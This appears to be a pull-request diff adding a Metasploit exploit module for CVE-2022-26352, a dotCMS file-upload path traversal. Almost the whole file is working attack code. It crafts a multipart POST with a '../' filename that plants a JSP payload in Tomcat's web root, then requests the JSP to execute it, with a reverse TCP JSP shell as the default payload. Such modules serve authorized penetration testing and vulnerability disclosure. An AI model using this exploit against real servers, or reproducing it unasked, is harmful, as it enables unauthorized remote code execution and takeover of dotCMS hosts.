Module working on linux

Author: jheysel-r7

modules/exploits/multi/http/dotcms_file_upload_rce.rb

@@ -0,0 +1,166 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => ' Multipart File Directory Traversal can lead to Remote Code Execution',
+        'Description' => %q{
+          When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the
+          file down in a temp directory.  In the case of this vulnerability, dotCMS does not sanitize the filename
+          passed in via the multipart request header and thus does not sanitize the temp file's name.  This allows a
+          specially crafted request to POST files to dotCMS via the ContentResource (POST /api/content)  that get
+          written outside of the dotCMS temp directory.  In the case of this exploit, an attacker can upload a special
+          .jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.
+        },
+        'Author' => [
+          'Shubham Shah',  # Discovery and analysis
+          'Hussein Daher', # Discovery and analysis
+          'jheysel-r7'    # Metasploit module
+        ],
+        'License' => MSF_LICENSE,
+        'References' => [
+          ['CVE', '2022-26352'],
+          ['URL', 'https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/']
+        ],
+        'Privileged' => false,
+        'Platform' => %w[linux win],
+        'Targets' => [
+          [
+            'Automatic',
+            {
+              'Arch' => ARCH_JAVA,
+              'Platform' => 'linux'
+            }
+          ],
+          [
+            'Java Windows',
+            {
+              'Arch' => ARCH_JAVA,
+              'Platform' => 'win'
+            }
+          ],
+          [
+            'Java Linux',
+            {
+              'Arch' => ARCH_JAVA,
+              'Platform' => 'linux'
+            }
+          ]
+        ],
+        'DisclosureDate' => '2022-05-03',
+        'DefaultTarget' => 0,
+        'DefaultOptions' => {
+          'SSL' => true,
+          'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
+        },
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION],
+          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
+        }
+      )
+    )
+
+    register_options([
+                       Opt::RPORT(8443),
+                       OptString.new('TARGETURI', [true, 'Base path', '/'])
+                     ])
+  end
+
+  # def check
+  #   testurl = Rex::Text.rand_text_alpha(10)
+  #   testcontent = Rex::Text.rand_text_alpha(10)
+  #
+  #   send_request_cgi({
+  #     'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
+  #     'method' => 'PUT',
+  #     'data' => "<% out.println(\"#{testcontent}\");%>"
+  #   })
+  #
+  #   res1 = send_request_cgi({
+  #     'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),
+  #     'method' => 'GET'
+  #   })
+  #
+  #   if res1 && res1.body.include?(testcontent)
+  #     send_request_cgi(
+  #       'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
+  #       'method' => 'DELETE'
+  #     )
+  #     return Exploit::CheckCode::Vulnerable
+  #   end
+  #   Exploit::CheckCode::Safe
+  # end
+
+
+
+  def write_jsp_payload
+    jsp_path = "../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/#{jsp_filename}"
+
+    print_status('Writing JSP payload')
+    vprint_status(jsp_path)
+
+    multipart_form = Rex::MIME::Message.new
+    multipart_form.add_part(
+      payload.encoded,
+      'text/plain', # Content-Type
+      nil, # Content-Transfer-Encoding
+      "form-data; name=\"name\"; filename=\"#{jsp_path}\""
+    )
+
+    res = send_request_cgi(
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, '/api/content/'),
+      'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
+      'data' => multipart_form.to_s
+    )
+
+
+    unless res&.code == 500
+      fail_with(Failure::NotVulnerable, 'Failed to write JSP payload')
+    end
+
+    register_file_for_cleanup(jsp_path)
+
+    print_good('Successfully wrote JSP payload')
+  end
+
+  def execute_jsp_payload
+    jsp_uri = normalize_uri(target_uri.path, jsp_filename)
+
+    print_status('Executing JSP payload')
+    vprint_status(full_uri(jsp_uri))
+
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri' => jsp_uri,
+    )
+
+    unless res&.code == 200
+      fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload')
+    end
+
+    print_good('Successfully executed JSP payload')
+  end
+
+  def exploit
+    write_jsp_payload
+    execute_jsp_payload
+  end
+
+  def jsp_filename
+    @jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"
+  end
+
+end